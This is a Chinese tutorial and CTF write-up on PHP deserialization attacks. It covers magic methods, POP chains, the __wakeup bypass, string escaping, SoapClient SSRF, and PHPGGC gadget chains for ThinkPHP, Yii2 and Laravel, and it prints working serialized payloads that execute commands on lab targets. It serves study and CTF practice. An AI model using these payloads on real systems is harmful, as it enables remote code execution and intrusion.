PHP反序列化

PHP反序列化

什么是反序列化操作?

类型转换
- PHP & JavaEE & Python(见图)
序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize()     //将对象转换成一个字符串
unserialize()   //将字符串还原成一个对象

在这里插入图片描述

在这里插入图片描述

常见PHP魔术方法

- 对象逻辑(见图)
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

在这里插入图片描述

为什么会出现安全漏洞?

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
<?php
class B{public $cmd='ipconfig';public function __destruct(){system($this->cmd);}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);

反序列化漏洞如何利用?- POP链构造

POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
反序列化常见起点
方法名调用条件
__wakeup一定会调用
__destruct一定会调用
__toString当一个对象被反序列化后又被当作字符串使用
反序列化常见跳板
方法名调用条件
__toString当一个对象被反序列化后又被当作字符串使用
__get读取不可访问或不存在属性时被调用
__set当给不可访问或不存在属性赋值时被调用
__isset对不可访问或不存在的属性调用isset()或empty()时被调用
反序列化常见终点
方法名调用条件
__call调用不可访问或不存在的方法时被调用
call_user_func一般php代码执行都会选择这里
call_user_func_array一般php代码执行都会选择这里

案例

__destruct()

__destruct()://当对象被销毁时会被自动调用

在这里插入图片描述

构造pop链

在这里插入图片描述

执行ipconfig

O:1:"B":1:{s:3:"cmd";s:8:"ipconfig";}

在这里插入图片描述

执行whoami

O:1:"B":1:{s:3:"cmd";s:6:"whoami";}

在这里插入图片描述

ctfshow-254

只要isVIp为真就输出flag,就是username=xxxxxx,password=xxxxxx就为真

在这里插入图片描述

username=xxxxxx&password=xxxxxx

在这里插入图片描述

ctfshow-255

isVip需要为true,才会输出flag,与上题相比来说没有让isVip为真的条件,但是多了一个unserialize反序列化

在这里插入图片描述

构造pop链

复制代码,删除不需要更改的代码,因为需要以cookie传参user,序列化后的代码有符号这些,使用url编码

在这里插入图片描述

username=xxxxxx&password=xxxxxx
cookie:user O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在这里插入图片描述

ctfshow-256

username和password值不相等才能得到flag

在这里插入图片描述

构造pop链

因为需要修改username和password,构造时添加上去,需要改什么就留什么。

在这里插入图片描述

username=xxx&password=xx
cookie:user O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22password%22%3Bs%3A2%3A%22xx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在这里插入图片描述

ctfshow-257

在这里插入图片描述

构造pop链

backDoor类下有一个eval,但是并没有调用它,构造一个调用backdoor的序列化链

在这里插入图片描述

username=xxxxxx&password=xxxxxx
cookie:user
O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

ctfshow-258

'/[oc]:\d+:/i’含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

在这里插入图片描述

替换绕过

将:替换成+

在这里插入图片描述

username=xxxxxx&password=xxxxxx
cookie:user O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在这里插入图片描述

PHP-属性类型-公有&私有&保护

对象变量属性
  • public(公共的):在本类内部、外部类、子类都可以访问
  • protect(受保护的):只有本类或子类或父类中可以访问
  • private(私人的):只有本类内部可以使用
序列化数据显示
  • public属性序列化的时候格式是正常成员名
  • private属性序列化的时候格式是%00类名%00成员名
  • protect属性序列化的时候格式是%00*%00成员名

PHP-绕过漏洞-CVE

1、CVE-2016-7124(__wakeup绕过)
漏洞编号:CVE-2016-7124
影响版本:PHP 5<5.6.25; PHP 7<7.0.10
漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法,但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行

wakeup绕过案例

正常构造pop链wakeup被调用

x=O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

在这里插入图片描述

在这里插入图片描述

当对象属性个数的值大于真实属性个数时会跳过__wakeup执行,修改个数3为4后,wakeup未被调用

x=O:4:"Test":4:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

在这里插入图片描述

[极客大挑战 2019]PHP

在这里插入图片描述

访问www.zip下载源代码

在这里插入图片描述

打开备份文件class.php,只需要绕过wakeup魔术方法就行了

__destruct()://当对象被销毁时会被自动调用

在这里插入图片描述

使用select传参

在这里插入图片描述

构造pop链

生成的序列化参数,将:2替换成:3,使其绕过wakeup函数,生成的序列化需要用php的urlencode函数进行url编码,我使用hackbar中的url编码,有差异。

在这里插入图片描述

拿下flag

select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

在这里插入图片描述

字符串逃逸

字符串逃逸–增加

isVIP必须为1才输出flag,把admin替换成hacker,因为没有设置验证用户为admin,假设用户必须为admin

在这里插入图片描述

输入admin,被替换成了hacker。

在这里插入图片描述

序列化位数增加,反序列无法被识别

x=O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

在这里插入图片描述

需要逃逸的数据,47位。

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

在这里插入图片描述

admin被替换成hacker,会比原来数据多一位,,如果生成47个admin,那么就会比原来的多47位出来,47位是admin后面的数据位数,刚好占位到47,后面原来的数据就会逃逸

pop链

在这里插入图片描述

成功逃逸

x=O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

在这里插入图片描述

字符串逃逸–减少

isVIP必须为1才输出flag,把admin替换成hack,因为没有设置验证用户为admin,假设用户必须为admin

在这里插入图片描述

输入admin,被替换成了hack

在这里插入图片描述

序列化位数减少,反序列无法被识别

x=O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

在这里插入图片描述

admin被替换成hack,会比原来数据少一位,";s:8:"password";s:6:"22位是不可控的数据,因为每次替换少一位,那么少22位的话刚好将不可控数据反序列化,再将可控的password值改成需要逃逸的字符就会成功反序列化

在这里插入图片描述

$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p=';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';

在这里插入图片描述

反序列的时候就会以先解析O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password 后解析";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:1;}后解析的就是逃逸的字符

x=O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:1;}

在这里插入图片描述

ctfshow-262

在这里插入图片描述

message.php

在这里插入图片描述

常规解法

构造pop链

在这里插入图片描述

Cookie:msg Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7TjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

在这里插入图片描述

字符逃逸

因为是fuck替换位loveU,增加了一位

在这里插入图片描述

O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}中需要逃逸的是";s:5:"token";s:5:"admin";}一共27位,生成27个fuck。

在这里插入图片描述

O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:108:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

在这里插入图片描述

base64编码

在这里插入图片描述

添加到cookie拿到flag

在这里插入图片描述

fuck被替换成loveU,会比原来数据多一位,,如果生成27个fuck,那么就会比原来的多27位出来,27位是fuck后面的数据位数,刚好占位到27,后面原来的数据就会逃逸

还原反序列化过程

在这里插入图片描述

先解析s:236:"O:7:"message":4:{s:4:"from";s:3:"123";s:3:"msg";s:3:"123";s:2:"to";s:108:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUlov后解析eUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}相当于sql注入的闭合符号

原生类
原生类应用场景:

没有看到魔术方法利用情况下使用

1.先看能触发的魔术方法

2.没写魔术方法调用逻辑代码

3.使用魔术方法的原生类利用

4.获取魔术方法的原生类(脚本生成,能开启多少和当前的环境模块开关有关)

5.利用魔术方法里面的内置的类 pop修改内置类 形成攻击

案例

没有魔术方法,echo会触发to_string的魔术方法

在这里插入图片描述

使用脚本获取魔术方法的原生类

在这里插入图片描述

Exception::__toString,数据异常就会转换为字符串

在这里插入图片描述

构造pop链,新建异常类,借助异常使其显示""

在这里插入图片描述

弹出123

在这里插入图片描述

cftshow-259

在这里插入图片描述

在这里插入图片描述

访问flag.php

在这里插入图片描述

getFlag在代码中是不存在的,调用不存在的,则会使用call魔术方法

__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。

使用插件获取call的原生类

在这里插入图片描述

SoapClient::__call有ssrf漏洞

<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

在这里插入图片描述

执行构成的序列化语句,访问成功后会生成flag.txt

vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A17%3A"http%3A%2F%2F127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A124%3A"aaa%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D

在这里插入图片描述

在这里插入图片描述

框架类
反序列化链项目-PHPGGC&NotSoSecure
NotSoSecure

项目地址

为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NET、PHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.
Java – YSoSerial
NET – YSoSerial.NET
PHP – PHPGGC
Python - 原生
PHPGGC

项目地址

PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

kali可以直接使用apt安装

[安洵杯 2019]iamthinking

在这里插入图片描述

访问public

在这里插入图片描述

thinkPHP6.0

访问www.zip下载源码

从readme文件中可以看到采用thinkPHP6.0框架开发

在这里插入图片描述

使用phpggc

获取gadget链列表

 phpggc -l

在这里插入图片描述

找到thinkphp小工具链

 phpggc -l thinkphp

在这里插入图片描述

使用thinkphp/RCE3,下面有构造payload方法

phpggc -i ThinkPHP/RCE3

在这里插入图片描述

执行cat /flag 并以url编码

phpggc  ThinkPHP/RCE3  system 'cat /flag' --url

在这里插入图片描述

直接执行有过滤行为

/public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D

在这里插入图片描述

在index.php可以看到过滤以O开头区分大小写

在这里插入图片描述

三斜杠绕过,但是不明白其中的道理,希望懂的佬,帮我解释一下为何y绕过

///public/?payload=O%3A41%3A%22League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%22%3A3%3A%7Bs%3A47%3A%22%00League%5CFlysystem%5CCached%5CStorage%5CPsr6Cache%00pool%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A26%3A%22League%5CFlysystem%5CDirectory%22%3A2%3A%7Bs%3A13%3A%22%00%2A%00filesystem%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A7%3A%22%00%2A%00path%22%3Bs%3A3%3A%22key%22%3B%7Ds%3A11%3A%22%00%2A%00autosave%22%3Bb%3A0%3Bs%3A6%3A%22%00%2A%00key%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22anything%22%3B%7D%7D

在这里插入图片描述

ctfshow-267

admin ,admin弱口令登录

在这里插入图片描述

登录之后这个页面有变化

在这里插入图片描述

查看页面源代码,发现有个p标签有这个

在这里插入图片描述

进行各种拼接就得到了一个这个页面,这就是反序列化入口

在这里插入图片描述

Yii

可以通过wappalyzer看到有Yii框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。CVE编号是CVE-2020-15148。

在这里插入图片描述

在源代码中也可以看到yii2.0版本的

在这里插入图片描述

phpggc

找到yii小工具链

phpggc -l yii

在这里插入图片描述

根据版本选择合适的链

phpggc Yii2/RCE1

在这里插入图片描述

执行cat /flag 并以base64编码

phpggc Yii2/RCE1 system 'cat /flag' --base64

在这里插入图片描述

执行没有反应

/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6Njoic3lzdGVtIjt9czozMDoiAHlpaVxjYWNoaW5nXEFycmF5Q2FjaGUAX2NhY2hlIjthOjE6e3M6MToieCI7YToyOntpOjA7czo5OiJjYXQgL2ZsYWciO2k6MTtpOjA7fX19fX19

在这里插入图片描述

猜测不能使用system,使用exec并将flag复制到123.txt

phpggc Yii2/RCE1 exec 'cp /flag* 123.txt' --base64

在这里插入图片描述

执行有报错

/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXGRiXENvbm5lY3Rpb24iOjI6e3M6MzoicGRvIjtpOjE7czozOiJkc24iO086MjY6InlpaVxkYlxDb2x1bW5TY2hlbWFCdWlsZGVyIjoyOntzOjc6IgAqAHR5cGUiO3M6MToieCI7czoxMToiY2F0ZWdvcnlNYXAiO086MjI6InlpaVxjYWNoaW5nXEFycmF5Q2FjaGUiOjI6e3M6MTA6InNlcmlhbGl6ZXIiO2E6MTp7aToxO3M6NDoiZXhlYyI7fXM6MzA6IgB5aWlcY2FjaGluZ1xBcnJheUNhY2hlAF9jYWNoZSI7YToxOntzOjE6IngiO2E6Mjp7aTowO3M6MTc6ImNwIC9mbGFnKiAxMjMudHh0IjtpOjE7aTowO319fX19fQ==

在这里插入图片描述

查看123.txt,拿到flag

在这里插入图片描述

ctfshow-271
Laravel

题目中提示了Laravel但是不知道版本,用unserialize接受数据data

在这里插入图片描述

使用phpggc

找到Laravel小工具链

在这里插入图片描述

由于不知道版本,我这边选择一个版本区间多的尝试

phpggc Laravel/RCE4

在这里插入图片描述

生成执行命令url编码的链

phpggc Laravel/RCE4 system "tac /flag*" --url

在这里插入图片描述

执行pop链,拿下flag

data=O%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A31%3A%22Illuminate%5CValidation%5CValidator%22%3A1%3A%7Bs%3A10%3A%22extensions%22%3Ba%3A1%3A%7Bs%3A0%3A%22%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A10%3A%22tac+%2Fflag%2A%22%3B%7D

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/29945.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

配置小程序

小程序配置 1.全局配置 小程序根目录下的 app.json 文件用来对微信小程序进行全局配置&#xff0c;决定页面文件的路径、窗口表现、设置网络超时时间、设置多 tab 等。 完整配置项说明请参考小程序全局配置 以下是一个包含了部分常用配置选项的 app.json &#xff1a; {&q…

聚观早报 | 小米15配置规格曝光;比亚迪车险开售

聚观早报每日整理最值得关注的行业重点事件&#xff0c;帮助大家及时了解最新行业动态&#xff0c;每日读报&#xff0c;就读聚观365资讯简报。 整理丨Cutie 6月19日消息 小米15配置规格曝光 比亚迪车险开售 真我GT6细节曝光 极星汽车加速全球扩张 Model 3高性能版开启交…

windows anaconda 安装 Labelme

安装 # 创建环境 conda create -n labelme python3.6 #激活环境 conda activate labelme # 安装依赖 conda install pyqt conda install pillow # 安装labelme conda install labelme3.16.2 # 启动labelme labelme右键选择标注类型&#xff0c;从上到下为多边形&#xff08;常…

计算机的五大功能部件应用及特点

目录 计算机的五大功能部件 1.现代计算机的结构 2.主存储器 ​​​​​​​ 3.运算器 4.控制器 5.各部件的特点 5.1主存特点 5.2外存特点 5.3运算器特点 5.4控制器特点 计算机的五大功能部件 1.现代计算机的结构 一般将运算器和控制器集成到同一个芯片上&#xff…

微前端乾坤方案

微前端乾坤方案 了解乾坤 官方文档 介绍 qiankun 是一个基于 single-spa 的微前端实现库&#xff0c;旨在帮助大家能更简单、无痛的构建一个生产可用微前端架构系统。 qiankun 的核心设计理念 &#x1f944; 简单 由于主应用微应用都能做到技术栈无关&#xff0c;qiankun 对…

CCS条形光源——HLDL3系列,长距离和宽范围照射应用的不二之选

机器视觉系统中&#xff0c;光源起着重要作用&#xff0c;不同类型的光源应用也不同&#xff0c;选择合适的光源成像效果非常明显。今天我们一起来看看CCS光源——工业用条形光源HLDL3系列。 高亮LED光源HLDL3系列 适用于长距离和宽范围照射的条形光源。 适用于各种检测案例&a…

AlmaLinux 更换CN镜像地址

官方镜像列表 官方列表&#xff1a;https://mirrors.almalinux.org/CN 开头的站点&#xff0c;不同区域查询即可 一键更改镜像地址脚本 以下是更改从默认更改到阿里云地址 cat <<EOF>>/AlmaLinux_Update_repo.sh #!/bin/bash # -*- coding: utf-8 -*- # Author:…

Python8 使用结巴(jieba)分词并展示词云

Python的结巴&#xff08;jieba&#xff09;库是一个中文分词工具&#xff0c;主要用于对中文文本进行分词处理。它可以将输入的中文文本切分成一个个独立的词语&#xff0c;为后续的文本处理、分析、挖掘等任务提供基础支持。结巴库具有以下功能和特点&#xff1a; 中文分词&a…

LVGL开发教程-Label文本

系列文章目录 知不足而奋进 望远山而前行 目录 系列文章目录 文章目录 前言 ​编辑 1. 文本显示 2. 使用字体 总结 前言 在嵌入式系统开发中&#xff0c;文本显示是一项基本而重要的功能。使用 LittlevGL&#xff08;LVGL&#xff09;库&#xff0c;我们可以轻松地创建…

Folx Mac版软件下载-Folx 2024最新版-下载工具附加详细安装步骤

​根据大数据调查表明从网络下载视频&#xff1a;用Folx从网页上下载视频&#xff0c;能够设置下载视频的格式&#xff0c;你也能够下载年龄限制和私人视频&#xff0c;当你不需要视频&#xff0c;只想要一个音轨的时候&#xff0c;Folx是非常有用的!这个互联网下载器所有的视频…

java智慧工地系统源码 智慧工地标准之一:环境监测 告别灰头土脸、智慧工地环境监测系统都包括哪些功能?

java智慧工地系统源码 智慧工地标准之一&#xff1a;环境监测 告别灰头土脸、智慧工地环境监测系统都包括哪些功能&#xff1f; 智慧工地环境监测系统是一套集成了物联网、大数据和云计算技术的系统&#xff0c;主要用于实时监测和管理建筑工地的环境状况。以下是该系统的一些核…

VS2022打开.netcore2.2 问题解决

1.vs2022运行时一直提示异常 2.解决方法&#xff0c;双击当前的项目修改xxxx.csproj文件 把当前的版本修改为2.2.0即可重新编译运行

山东大学面向对象技术——设计原则、工厂模式、单例模式

目录 前言 设计模式和原则作用 面向对象的设计原则 开闭原则OCP: Open-Closed Principle 题目举例 里氏代换原则LSP: Liskov Subtitution 依赖倒置原则DIP: Dependency Inversion Principle 接口隔离原则ISP: Interface Segregation Principle 组合优先原则CRP: Compo…

【AI学习】LLaMA 系列模型的进化(一)

一直对LLaMA 名下的各个模型关系搞不清楚&#xff0c;什么羊驼、考拉的&#xff0c;不知所以。幸好看到两篇综述&#xff0c;有个大致了解&#xff0c;以及SEBASTIAN RASCHKA对LLaMa 3的介绍。做一个记录。 一、文章《Large Language Models: A Survey》中对LLaMa的介绍 论文…

【微服务网关——负载均衡】

1. 四大负载均衡策略 随机负载 随机挑选目标服务器IP 轮询负载 ABC三台服务器&#xff0c;ABCABC依次轮询 加权负载 给目标设置访问权重&#xff0c;按照权重轮询 一致性hash负载 请求固定URL访问指定IP 2.随机负载均衡 可以通过random函数来随机选择一个ip 2.1 代码实现 …

陶建辉入选 2023 年度“中国物联网行业卓越人物榜”

在这个技术飞速发展的时代&#xff0c;物联网行业作为推动社会进步的重要力量&#xff0c;正在不断地演化和革新。近日&#xff0c;中国智联网生态大会暨“2023 物联之星”年度榜单颁奖典礼在上海浦东举行。现场公布了拥有物联网行业奥斯卡奖之称的 ——“物联之星 2023 中国物…

「51媒体」上海电视台媒体邀约专访怎么做?

传媒如春雨&#xff0c;润物细无声&#xff0c;大家好&#xff0c;我是51媒体网胡老师。 电视台专访通常会对一些热门话题&#xff0c;行业热点&#xff0c;或者新闻焦点&#xff0c;邀请嘉宾进行访谈。企业如果想要在电视台进行专访&#xff0c;通常要有合适的时机和选题。 下…

【面试干货】Java方法重写的规则

【面试干货】Java方法重写的规则 1、Java方法重写的规则2、示例代码3、总结 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在Java中&#xff0c;方法重写&#xff08;Overriding&#xff09;是面向对象编程中的一个核心概念&#xff0c;它…

结硬寨:联想服务器的向前之路

曾国藩曾经将自己的战略思想&#xff0c;总结为“结硬寨&#xff0c;打呆仗”。 这种稳健的策略&#xff0c;往往在真实的产业发展中能收获奇效。我们喜欢听颠覆性的产业创新&#xff0c;却往往忽视稳扎稳打&#xff0c;把每一个优势聚集起来形成整体优势&#xff0c;可能才是市…

在Python项目中自定义日志工具

在Python项目中自定义日志工具 日志记录是软件开发中的一个关键部分&#xff0c;它可以帮助开发人员调试代码、监控运行状况以及记录重要事件。在Python中&#xff0c;logging 模块提供了强大的日志记录功能。本文将介绍如何创建一个日志工具&#xff0c;使其能够同时将日志输…